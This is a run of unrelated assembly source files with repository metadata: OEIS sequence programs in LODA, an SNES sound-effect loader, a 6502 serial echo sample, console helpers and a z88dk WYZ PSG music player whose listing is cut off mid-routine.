; A195032: Vertex number of a square spiral in which the length of the first two edges are the legs of the primitive Pythagorean triple [5, 12, 13]. The edges of the spiral have length A195031. ; 0,5,17,27,51,66,102,122,170,195,255,285,357,392,476,516,612,657,765,815,935,990,1122,1182,1326,1391,1547,1617,1785,1860,2040,2120,2312,2397,2601,2691,2907,3002,3230,3330,3570,3675,3927,4037,4301,4416,4692,4812,5100,5225,5525,5655,5967,6102,6426,6566,6902,7047,7395,7545,7905,8060,8432,8592,8976,9141,9537,9707,10115,10290,10710,10890,11322,11507,11951,12141,12597,12792,13260,13460,13940,14145,14637,14847,15351,15566,16082,16302,16830,17055,17595,17825,18377,18612,19176,19416,19992,20237,20825,21075,21675,21930,22542,22802,23426,23691,24327,24597,25245,25520,26180,26460,27132,27417,28101,28391,29087,29382,30090,30390,31110,31415,32147,32457,33201,33516,34272,34592,35360,35685,36465,36795,37587,37922,38726,39066,39882,40227,41055,41405,42245,42600,43452,43812,44676,45041,45917,46287,47175,47550,48450,48830,49742,50127,51051,51441,52377,52772,53720,54120,55080,55485,56457,56867,57851,58266,59262,59682,60690,61115,62135,62565,63597,64032,65076,65516,66572,67017,68085,68535,69615,70070,71162,71622,72726,73191,74307,74777,75905,76380,77520,78000,79152,79637,80801,81291,82467,82962,84150,84650,85850,86355,87567,88077,89301,89816,91052,91572,92820,93345,94605,95135,96407,96942,98226,98766,100062,100607,101915,102465,103785,104340,105672,106232,107576,108141,109497,110067,111435,112010,113390,113970,115362,115947,117351,117941,119357,119952,121380,121980,123420,124025,125477,126087,127551,128166,129642,130262,131750,132375 mov $2,$0 mul $2,$0 mov $4,1 mov $7,$0 lpb $0,1 sub $0,1 trn $0,1 sub $2,$4 add $4,7 mov $5,$2 lpe mov $4,1 add $5,2 mul $4,$5 mov $1,$4 sub $1,2 mov $3,$7 mul $3,3 add $1,$3 mov $6,$7 mul $6,$7 mov $3,$6 mul $3,2 add $1,$3
66.678571
1,437
0.77879
6a731fcf2d26275439421fcf4f76579e47fee792
759
asm
Assembly
Assembly/soundfx_changes.asm
CaitSith2/Enemizer
53be2143063c5ca03216f76821ebbbce67313e34
[ "WTFPL" ]
2
2020-06-21T14:38:23.000Z
2021-02-03T00:43:49.000Z
Assembly/soundfx_changes.asm
CaitSith2/Enemizer
53be2143063c5ca03216f76821ebbbce67313e34
[ "WTFPL" ]
5
2020-07-16T22:12:30.000Z
2020-08-31T22:11:54.000Z
Assembly/soundfx_changes.asm
CaitSith2/Enemizer
53be2143063c5ca03216f76821ebbbce67313e34
[ "WTFPL" ]
2
2020-07-16T22:34:11.000Z
2020-11-18T19:39:50.000Z
NewLoadSoundBank_Intro: ; restore SEI JSL Sound_LoadSongBank ; change to be JSL RTL NewLoadSoundBank: ; restore SEI JSL Sound_LoadSongBank ; change to be JSL RTL LoadNewSoundFx: { LDA !SOUNDFX_LOADED : BEQ + RTL + LDA #$01 : STA !SOUNDFX_LOADED SEI ; Shut down NMI until music loads STZ $4200 ; Stop all HDMA STZ $420C STZ $0136 LDA.b #$FF : STA $2140 ; tell N-SPC to load data ; new code ; load up our new instrument and sample incbin LDA.b #$00 : STA $00 LDA.b #$80 : STA $01 LDA.b #$26 : STA $02 JSL Sound_LoadSongBank ; Re-enable NMI and joypad LDA.b #$81 : STA $4200 CLI ;JSL $00893D;Restore the previous code RTL }
16.5
52
0.594203
de9df523d792c097be81388ee525fe36268af618
702
asm
Assembly
programs/oeis/089/A089801.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/089/A089801.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/089/A089801.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A089801: a(n) = 0 unless n = 3j^2+2j or 3j^2+4j+1 for some j>=0, in which case a(n) = 1. ; 1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 mov $2,$0 mul $0,2 add $0,1 add $0,$2 lpb $0,1 sub $0,1 add $1,1 trn $1,$0 add $3,2 trn $0,$3 lpe
46.8
501
0.507123
e25af6e5a8c2d65bdc0f8ff0de9f3bc7a431bb0f
1,020
asm
Assembly
samples/echo_irq/echo_irq.asm
olivierjan/symon
26f6651a49755fe9d5d3a2b957bc71d23c49e3a7
[ "MIT" ]
105
2015-01-06T19:50:17.000Z
2022-03-08T22:44:38.000Z
samples/echo_irq/echo_irq.asm
olivierjan/symon
26f6651a49755fe9d5d3a2b957bc71d23c49e3a7
[ "MIT" ]
14
2016-03-01T02:36:04.000Z
2022-03-08T22:40:02.000Z
samples/echo_irq/echo_irq.asm
olivierjan/symon
26f6651a49755fe9d5d3a2b957bc71d23c49e3a7
[ "MIT" ]
38
2015-01-13T18:14:49.000Z
2022-02-19T10:08:03.000Z
;; ;; Read input from the keyboard, and echo to console. ;; IOBASE = $8800 IOSTATUS = IOBASE + 1 IOCMD = IOBASE + 2 IOCTRL = IOBASE + 3 .segment "CODE" .org $C000 START: CLI LDA #$09 STA IOCMD ; Set command status LDA #$1A STA IOCTRL ; 0 stop bits, 8 bit word, 2400 baud ;; ;; Infinite idle loop, waiting for interrupt. ;; IDLE: LDA #$FF TAX IDLE1: DEX BNE IDLE1 JMP IDLE ;; ;; IRQ handler ;; IRQ: LDA IOBASE ; Get the character in the ACIA. PHA ; Save accumulator ECHO1: LDA IOSTATUS ; Read the ACIA status AND #$10 ; Is the tx register empty? BEQ ECHO1 ; No, wait for it to empty PLA ; Otherwise, load saved accumulator, STA IOBASE ; write to output, RTI ; and return ; system vectors .segment "VECTORS" .org $FFFA .word IRQ ; NMI vector .word START ; RESET vector .word IRQ ; IRQ vector
20.816327
60
0.543137
31c0078a50d0ba20d6735f58d88140f67289e233
396
asm
Assembly
programs/oeis/123/A123123.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/123/A123123.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/123/A123123.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A123123: Numbers n such that, modulo k with 2<=k<=n, only one of the residues is equal to 2. ; 5,6,7,9,13,15,19,21,25,31,33,39,43,45,49,55,61,63,69,73,75,81,85,91,99,103,105,109,111,115,129,133,139,141,151,153,159,165,169,175,181,183,193,195,199,201,213,225,229,231,235,241,243,253,259,265,271,273,279 mov $1,$0 seq $1,6005 ; The odd prime numbers together with 1. sub $1,3 max $0,$1 add $0,5
44
208
0.691919
ac2d1f78f7568a7923fd806cf7e0de8a42bd4804
665
asm
Assembly
oeis/015/A015475.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/015/A015475.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/015/A015475.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A015475: q-Fibonacci numbers for q=4. ; Submitted by Christian Krause ; 0,1,4,65,4164,1066049,1091638340,4471351706689,73258627454030916,4801077413298721817665,1258573637505038759624004676,1319710110525284599824799048959041,5535265395417901871821058989004725507140,92866343156252869680456745291873729653046281281,6232154793050310116260890595576866249518039080917881924,1672931313735045719866248338242657355197129892785742185869378625,1796296320236584250204733319791949979437272726221553505367172711471993924 mov $1,$0 mov $2,2 mov $3,1 lpb $1 mov $0,$4 sub $1,1 mul $2,2 mov $4,$2 mul $2,2 mul $4,$3 add $0,$4 mov $4,$3 mov $3,$0 lpe mov $0,$4
33.25
437
0.821053
aca6d15cc4065216bd55c6af46ae9d00012e81d1
670
asm
Assembly
programs/oeis/080/A080861.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/080/A080861.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/080/A080861.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A080861: 15*n^2 + 6*n + 1. ; 1,22,73,154,265,406,577,778,1009,1270,1561,1882,2233,2614,3025,3466,3937,4438,4969,5530,6121,6742,7393,8074,8785,9526,10297,11098,11929,12790,13681,14602,15553,16534,17545,18586,19657,20758,21889,23050,24241,25462,26713,27994,29305,30646,32017,33418,34849,36310,37801,39322,40873,42454,44065,45706,47377,49078,50809,52570,54361,56182,58033,59914,61825,63766,65737,67738,69769,71830,73921,76042,78193,80374,82585,84826,87097,89398,91729,94090,96481,98902,101353,103834,106345,108886,111457,114058,116689,119350,122041,124762,127513,130294,133105,135946,138817,141718,144649,147610 mov $1,15 mul $1,$0 add $1,6 mul $1,$0 add $1,1 mov $0,$1
67
581
0.783582
390867e29eb447f0aedb913c9f0783080cd30fe2
594
asm
Assembly
oeis/000/A000865.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/000/A000865.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/000/A000865.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A000865: Numbers beginning with letter 'o' in English. ; Submitted by Jamie Morken(w3) ; 1,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198 mov $1,$0 mov $4,$1 mov $5,1 lpb $5,$1 lpb $5 add $4,98 trn $5,9 lpe lpe mov $0,$4 add $0,1
37.125
399
0.700337
3a0f5fd544c5f6531a07e422356ae07626f472b6
509
asm
Assembly
libsrc/stdio/pc6001/generic_console_vpeek.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/stdio/pc6001/generic_console_vpeek.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/stdio/pc6001/generic_console_vpeek.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib PUBLIC generic_console_vpeek EXTERN __pc6001_mode EXTERN generic_console_text_xypos EXTERN vpeek_MODE1 EXTERN vpeek_MODE2 INCLUDE "target/pc6001/def/pc6001.def" ;Entry: c = x, ; b = y ; e = rawmode ;Exit: nc = success ; a = character, ; c = failure generic_console_vpeek: ld a,(__pc6001_mode) cp MODE_1 jp z,vpeek_MODE1 cp MODE_2 jp z,vpeek_MODE2 and a ccf ret nz call generic_console_text_xypos ld a,(hl) and a ret
15.90625
42
0.671906
c298e1caca7a948f954b62f4de67adabdeb477ca
117
asm
Assembly
Src/SacaraVm/vm_nop.asm
mrfearless/sacara
126ee1c8c18c9d01a09fac4aedd9044976cf17c4
[ "MIT" ]
null
null
null
Src/SacaraVm/vm_nop.asm
mrfearless/sacara
126ee1c8c18c9d01a09fac4aedd9044976cf17c4
[ "MIT" ]
null
null
null
Src/SacaraVm/vm_nop.asm
mrfearless/sacara
126ee1c8c18c9d01a09fac4aedd9044976cf17c4
[ "MIT" ]
null
null
null
header_VmNop vm_nop PROC push ebp mov ebp, esp mov eax, eax mov esp, ebp pop ebp ret vm_nop ENDP header_marker
11.7
14
0.752137
2e2c1254ee15ec3b171e4d325e4efbd2e73b4307
205
asm
Assembly
core/src/code_generation/tests/expression-3.asm
mari-linhares/GoCompiler
dc87ff118ee5752fa1da3271ae57679a8ac449a3
[ "Apache-2.0" ]
1
2019-03-01T23:20:03.000Z
2019-03-01T23:20:03.000Z
core/src/code_generation/tests/expression-3.asm
mari-linhares/GoCompiler
dc87ff118ee5752fa1da3271ae57679a8ac449a3
[ "Apache-2.0" ]
null
null
null
core/src/code_generation/tests/expression-3.asm
mari-linhares/GoCompiler
dc87ff118ee5752fa1da3271ae57679a8ac449a3
[ "Apache-2.0" ]
null
null
null
100: LD SP, #4000 108: LD R1, #10 116: ST y, R1 124: MUL R2, #3, R1 132: ADD R3, #1, R2 140: ST x, R3 148: SUB R4, R1, R3 156: BGEZ R4, #180 164: LD R4, #true 172: BR #188 180: LD R4, #false 188: ST w, R4
15.769231
19
0.590244
5fe58a08bbacc5d4ec953d66b3797043f8f31672
537
asm
Assembly
oeis/141/A141845.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/141/A141845.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/141/A141845.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A141845: a(n) = 5*a(n-1) + A047201(n), a(1) = 1. A047201 = numbers not divisible by 5: (1, 2, 3, 4, 6, 7, 8, 9, 11,...). ; Submitted by Jon Maiga ; 1,7,38,194,976,4887,24443,122224,611131,3055667,15278348,76391754,381958786,1909793947,9548969753,47744848784,238724243941,1193621219727,5968106098658,29840530493314,149202652466596,746013262333007 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,330002 ; Beatty sequence for x, where 1/x + 1/(x+1)^2 = 1. sub $0,$1 mul $1,6 add $1,$0 lpe mov $0,$1
29.833333
199
0.66108
9ace56293cfd16d57fb77b9ebc2ddd08a65128f2
42
asm
Assembly
test.asm
Nibble-Knowledge/label-replacer
21d1c2b5acd05d53002ef98b3898ad0082dfabbd
[ "Unlicense" ]
null
null
null
test.asm
Nibble-Knowledge/label-replacer
21d1c2b5acd05d53002ef98b3898ad0082dfabbd
[ "Unlicense" ]
null
null
null
test.asm
Nibble-Knowledge/label-replacer
21d1c2b5acd05d53002ef98b3898ad0082dfabbd
[ "Unlicense" ]
null
null
null
INF 19 NOP *CHIP_SELECT HLT test: .data 2
8.4
16
0.738095
62d1d2a7bdff55cde3619f57d35e877341be1afa
26,120
asm
Assembly
libsrc/psg/wyz/wyzplay.asm
jsmolina/z88dk
09070bff4e2a1bc28a10d82c6f87af9ea359b810
[ "ClArtistic" ]
null
null
null
libsrc/psg/wyz/wyzplay.asm
jsmolina/z88dk
09070bff4e2a1bc28a10d82c6f87af9ea359b810
[ "ClArtistic" ]
null
null
null
libsrc/psg/wyz/wyzplay.asm
jsmolina/z88dk
09070bff4e2a1bc28a10d82c6f87af9ea359b810
[ "ClArtistic" ]
null
null
null
; ZX PSG proPLAYER V 0.3 - WYZ 19.03.2016 IF !__CPU_INTEL__ && !__CPU_GBZ80__ ; THE DATA TO BE CHANGED : ; * SOUND BUFFER WHERE THE MUSIC FILE IS DECODED COMPLETELY ; * SONG NUMBER ; * SONG TABLE SECTION code_psg PUBLIC asm_wyz_play PUBLIC asm_wyz_start PUBLIC asm_wyz_stop PUBLIC asm_wyz_player_init PUBLIC asm_wyz_start_effect PUBLIC asm_wyz_stop_effect ; Initialised outside to setup song PUBLIC asm_wyz_TABLA_PAUTAS PUBLIC asm_wyz_TABLA_SONIDOS PUBLIC asm_wyz_TABLA_SONG PUBLIC asm_wyz_DATOS_NOTAS PUBLIC asm_wyz_TABLA_EFECTOS ; Read by the hardware routines PUBLIC asm_wyz_PSG_REG PUBLIC asm_wyz_PSG_REG_SEC PUBLIC asm_wyz_ENVOLVENTE_BACK EXTERN asm_wyz_hardware_out ;Machine specific ;______________________________________________________ asm_wyz_play: INICIO: CALL asm_wyz_hardware_out LD HL,asm_wyz_PSG_REG LD DE,asm_wyz_PSG_REG_SEC LD BC,14 LDIR CALL REPRODUCE_SONIDO CALL PLAY CALL REPRODUCE_EFECTO RET ;REPRODUCE EFECTOS DE SONIDO REPRODUCE_SONIDO: LD HL,INTERR BIT 2,(HL) ;ESTA ACTIVADO EL EFECTO? RET Z LD HL,(PUNTERO_SONIDO) LD A,(HL) CP $FF JR Z,FIN_SONIDO LD DE,(SFX_L) LD (DE),A INC HL LD A,(HL) RRCA RRCA RRCA RRCA AND 00001111B LD DE,(SFX_H) LD (DE),A LD A,(HL) AND 00001111B LD DE,(SFX_V) LD (DE),A INC HL LD A,(HL) LD B,A BIT 7,A ;09.08.13 BIT MAS SIGINIFICATIVO ACTIVA ENVOLVENTES JR Z,NO_ENVOLVENTES_SONIDO LD A,$12 LD (DE),A INC HL LD A,(HL) LD (asm_wyz_PSG_REG_SEC+11),A INC HL LD A,(HL) LD (asm_wyz_PSG_REG_SEC+12),A INC HL LD A,(HL) CP 1 JR Z,NO_ENVOLVENTES_SONIDO ;NO ESCRIBE LA ENVOLVENTE SI SU VALOR ES 1 LD (asm_wyz_PSG_REG_SEC+13),A NO_ENVOLVENTES_SONIDO: LD A,B RES 7,A AND A JR Z,NO_RUIDO LD (asm_wyz_PSG_REG_SEC+6),A LD A,(SFX_MIX) JR SI_RUIDO NO_RUIDO: XOR A LD (asm_wyz_PSG_REG_SEC+6),A LD A,10111000B SI_RUIDO: LD (asm_wyz_PSG_REG_SEC+7),A INC HL LD (PUNTERO_SONIDO),HL RET FIN_SONIDO: LD HL,INTERR RES 2,(HL) LD A,(asm_wyz_ENVOLVENTE_BACK) ;NO RESTAURA LA ENVOLVENTE SI ES 0 AND A JR Z,FIN_NOPLAYER ;xor a ; *** LD (asm_wyz_PSG_REG_SEC+13),A ;08.13 RESTAURA LA ENVOLVENTE TRAS EL SFX FIN_NOPLAYER: LD A,10111000B LD (asm_wyz_PSG_REG_SEC+7),A RET ;INICIA EL SONIDO N� (A) INICIA_SONIDO: ;CP 8 ;SFX SPEECH ;JP Z,SLOOP ; LD HL,(asm_wyz_TABLA_SONIDOS) CALL EXT_WORD LD (PUNTERO_SONIDO),HL LD HL,INTERR SET 2,(HL) RET asm_wyz_player_init: PLAYER_INIT: LD HL,BUFFER_CANAL_A ;RESERVAR MEMORIA PARA BUFFER DE SONIDO!!!!! LD (CANAL_A),HL ;RECOMENDABLE $10 O MAS BYTES POR CANAL. LD HL,BUFFER_CANAL_B LD (CANAL_B),HL LD HL,BUFFER_CANAL_C LD (CANAL_C),HL LD HL,BUFFER_CANAL_P LD (CANAL_P),HL ;PLAYER OFF asm_wyz_stop: PLAYER_OFF: XOR A ;***** IMPORTANTE SI NO HAY MUSICA **** LD (INTERR),A ;LD (FADE),A ;solo si hay fade out CLEAR_PSG_BUFFER: LD HL,asm_wyz_PSG_REG LD DE,asm_wyz_PSG_REG+1 LD BC,14 LD (HL),A LDIR LD A,10111000B ; **** POR SI ACASO **** LD (asm_wyz_PSG_REG+7),A LD HL,asm_wyz_PSG_REG LD DE,asm_wyz_PSG_REG_SEC LD BC,14 LDIR CALL asm_wyz_hardware_out RET ;CARGA UNA CANCION ;IN:(A)=N� DE CANCION asm_wyz_start: CARGA_CANCION: LD HL,INTERR ;CARGA CANCION SET 1,(HL) ;REPRODUCE CANCION LD HL,SONG LD (HL),A ;N� A ;DECODIFICAR ;IN-> INTERR 0 ON ; SONG ;CARGA CANCION SI/NO DECODE_SONG: LD A,(SONG) ;LEE CABECERA DE LA CANCION ;BYTE 0=TEMPO LD HL,(asm_wyz_TABLA_SONG) CALL EXT_WORD LD A,(HL) LD (TEMPO),A DEC A LD (TTEMPO),A ;HEADER BYTE 1 ;(-|-|-|-| 3-1 | 0 ) ;(-|-|-|-|FX CHN|LOOP) INC HL ;LOOP 1=ON/0=OFF? LD A,(HL) BIT 0,A JR Z,NPTJP0 PUSH HL LD HL,INTERR SET 4,(HL) POP HL ;SELECCION DEL CANAL DE EFECTOS DE RITMO NPTJP0: AND 00000110B RRA ;LD (SELECT_CANAL_P),A PUSH HL LD HL,TABLA_DATOS_CANAL_SFX CALL EXT_WORD PUSH HL POP IX LD E,(IX+0) LD D,(IX+1) LD (SFX_L),DE LD E,(IX+2) LD D,(IX+3) LD (SFX_H),DE LD E,(IX+4) LD D,(IX+5) LD (SFX_V),DE LD A,(IX+6) LD (SFX_MIX),A POP HL INC HL ;2 BYTES RESERVADOS INC HL INC HL ;BUSCA Y GUARDA INICIO DE LOS CANALES EN EL MODULO MUS (OPTIMIZAR****************) ;A�ADE OFFSET DEL LOOP PUSH HL ;IX INICIO OFFSETS LOOP POR CANAL POP IX LD DE,$0008 ;HASTA INICIO DEL CANAL A ADD HL,DE LD (PUNTERO_P_DECA),HL ;GUARDA PUNTERO INICIO CANAL LD E,(IX+0) LD D,(IX+1) ADD HL,DE LD (PUNTERO_L_DECA),HL ;GUARDA PUNTERO INICIO LOOP CALL BGICMODBC1 LD (PUNTERO_P_DECB),HL LD E,(IX+2) LD D,(IX+3) ADD HL,DE LD (PUNTERO_L_DECB),HL CALL BGICMODBC1 LD (PUNTERO_P_DECC),HL LD E,(IX+4) LD D,(IX+5) ADD HL,DE LD (PUNTERO_L_DECC),HL CALL BGICMODBC1 LD (PUNTERO_P_DECP),HL LD E,(IX+6) LD D,(IX+7) ADD HL,DE LD (PUNTERO_L_DECP),HL ;READ DATA FROM THE NOTES ;(|)(|||||) LENGTH OF NOTE INIT_DECODER: LD DE,(CANAL_A) LD (PUNTERO_A),DE LD HL,(PUNTERO_P_DECA) CALL DECODE_CANAL ;CANAL A LD (PUNTERO_DECA),HL LD DE,(CANAL_B) LD (PUNTERO_B),DE LD HL,(PUNTERO_P_DECB) CALL DECODE_CANAL ;CANAL B LD (PUNTERO_DECB),HL LD DE,(CANAL_C) LD (PUNTERO_C),DE LD HL,(PUNTERO_P_DECC) CALL DECODE_CANAL ;CANAL C LD (PUNTERO_DECC),HL LD DE,(CANAL_P) LD (PUNTERO_P),DE LD HL,(PUNTERO_P_DECP) CALL DECODE_CANAL ;CANAL P LD (PUNTERO_DECP),HL RET ;LOOK FOR CHANNEL START BGICMODBC1: XOR A ;BUSCA EL BYTE 0 LD E,$3F ;CODIGO INSTRUMENTO 0 LD B,$FF ;EL MODULO DEBE TENER UNA LONGITUD MENOR DE $FF00 ... o_O! CPIR DEC HL DEC HL LD A,E ;ES EL INSTRUMENTO 0?? CP (HL) INC HL INC HL JR Z,BGICMODBC1 DEC HL DEC HL DEC HL LD A,E ;ES VOLUMEN 0?? CP (HL) INC HL INC HL INC HL JR Z,BGICMODBC1 RET ;DECODE NOTES OF A CHANNEL ;IN (DE)= DESTINATION ADDRESS ;NOTE=0 FINISH CHANNEL ;NOTE=1 SILENCE ;NOTE=2 PUNTILLO ;NOTE=3 COMMAND I DECODE_CANAL: LD A,(HL) AND A ;FIN DEL CANAL? JR Z,FIN_DEC_CANAL CALL GETLEN CP 00000001B ;ES SILENCIO? JR NZ,NO_SILENCIO SET 6,A JR NO_MODIFICA NO_SILENCIO: CP 00111110B ;ES PUNTILLO? JR NZ,NO_PUNTILLO OR A RRC B XOR A JR NO_MODIFICA NO_PUNTILLO: CP 00111111B ;ES COMANDO? JR NZ,NO_MODIFICA BIT 0,B ;COMADO=INSTRUMENTO? JR Z,NO_INSTRUMENTO LD A,11000001B ;CODIGO DE INSTRUMENTO LD (DE),A INC HL INC DE LD A,(HL) ;N� DE INSTRUMENTO LD (DE),A INC DE INC HL LD A,(HL) ;VOLUMEN RELATIVO DEL INSTRUMENTO LD (DE),A INC DE INC HL JR DECODE_CANAL NO_INSTRUMENTO: BIT 2,B JR Z,NO_ENVOLVENTE LD A,11000100B ;CODIGO ENVOLVENTE LD (DE),A INC DE INC HL LD A,(HL) LD (DE),A INC DE INC HL JR DECODE_CANAL NO_ENVOLVENTE: BIT 1,B JR Z,NO_MODIFICA LD A,11000010B ;CODIGO EFECTO LD (DE),A INC HL INC DE LD A,(HL) CALL GETLEN NO_MODIFICA: LD (DE),A INC DE XOR A DJNZ NO_MODIFICA SET 7,A SET 0,A LD (DE),A INC DE INC HL RET ;** JR DECODE_CANAL FIN_DEC_CANAL: SET 7,A LD (DE),A INC DE RET GETLEN: LD B,A AND 00111111B PUSH AF LD A,B AND 11000000B RLCA RLCA INC A LD B,A LD A,10000000B DCBC0: RLCA DJNZ DCBC0 LD B,A POP AF RET ;PLAY __________________________________________________ PLAY: LD HL,INTERR ;PLAY BIT 1 ON? BIT 1,(HL) RET Z ;TEMPO LD HL,TTEMPO ;CONTADOR TEMPO INC (HL) LD A,(TEMPO) CP (HL) JR NZ,PAUTAS LD (HL),0 ;INTERPRETA LD IY,asm_wyz_PSG_REG LD IX,PUNTERO_A LD BC,asm_wyz_PSG_REG+8 CALL LOCALIZA_NOTA LD IY,asm_wyz_PSG_REG+2 LD IX,PUNTERO_B LD BC,asm_wyz_PSG_REG+9 CALL LOCALIZA_NOTA LD IY,asm_wyz_PSG_REG+4 LD IX,PUNTERO_C LD BC,asm_wyz_PSG_REG+10 CALL LOCALIZA_NOTA LD IX,PUNTERO_P ;EL CANAL DE EFECTOS ENMASCARA OTRO CANAL CALL LOCALIZA_EFECTO ;PAUTAS PAUTAS: LD IY,asm_wyz_PSG_REG+0 LD IX,PUNTERO_P_A LD HL,asm_wyz_PSG_REG+8 CALL PAUTA ;PAUTA CANAL A LD IY,asm_wyz_PSG_REG+2 LD IX,PUNTERO_P_B LD HL,asm_wyz_PSG_REG+9 CALL PAUTA ;PAUTA CANAL B LD IY,asm_wyz_PSG_REG+4 LD IX,PUNTERO_P_C LD HL,asm_wyz_PSG_REG+10 CALL PAUTA ;PAUTA CANAL C RET ;LOCALIZA NOTA CANAL A ;IN (PUNTERO_A) ;LOCATE NOTE CHANNEL A ;IN (PUNTERO_A) LOCALIZA_NOTA: LD L,(IX+PUNTERO_A-PUNTERO_A) ;HL=(PUNTERO_A_C_B) LD H,(IX+PUNTERO_A-PUNTERO_A+1) LD A,(HL) AND 11000000B ;COMANDO? CP 11000000B JR NZ,LNJP0 ;BIT(0)=INSTRUMENTO COMANDOS: LD A,(HL) BIT 0,A ;INSTRUMENTO JR Z,COM_EFECTO INC HL LD A,(HL) ;N� DE PAUTA INC HL LD E,(HL) PUSH HL ;;TEMPO ****************** LD HL,TEMPO BIT 5,E JR Z,NO_DEC_TEMPO DEC (HL) NO_DEC_TEMPO: BIT 6,E JR Z,NO_INC_TEMPO INC (HL) NO_INC_TEMPO: RES 5,E ;SIEMPRE RESETEA LOS BITS DE TEMPO RES 6,E POP HL LD (IX+VOL_INST_A-PUNTERO_A),E ;REGISTRO DEL VOLUMEN RELATIVO INC HL LD (IX+PUNTERO_A-PUNTERO_A),L LD (IX+PUNTERO_A-PUNTERO_A+1),H LD HL,(asm_wyz_TABLA_PAUTAS) CALL EXT_WORD LD (IX+PUNTERO_P_A0-PUNTERO_A),L LD (IX+PUNTERO_P_A0-PUNTERO_A+1),H LD (IX+PUNTERO_P_A-PUNTERO_A),L LD (IX+PUNTERO_P_A-PUNTERO_A+1),H LD L,C LD H,B RES 4,(HL) ;APAGA EFECTO ENVOLVENTE XOR A LD (asm_wyz_PSG_REG_SEC+13),A LD (asm_wyz_PSG_REG+13),A ;LD (ENVOLVENTE_BACK),A ;08.13 / RESETEA EL BACKUP DE LA ENVOLVENTE JR LOCALIZA_NOTA COM_EFECTO: BIT 1,A ;EFECTO DE SONIDO JR Z,COM_ENVOLVENTE INC HL LD A,(HL) INC HL LD 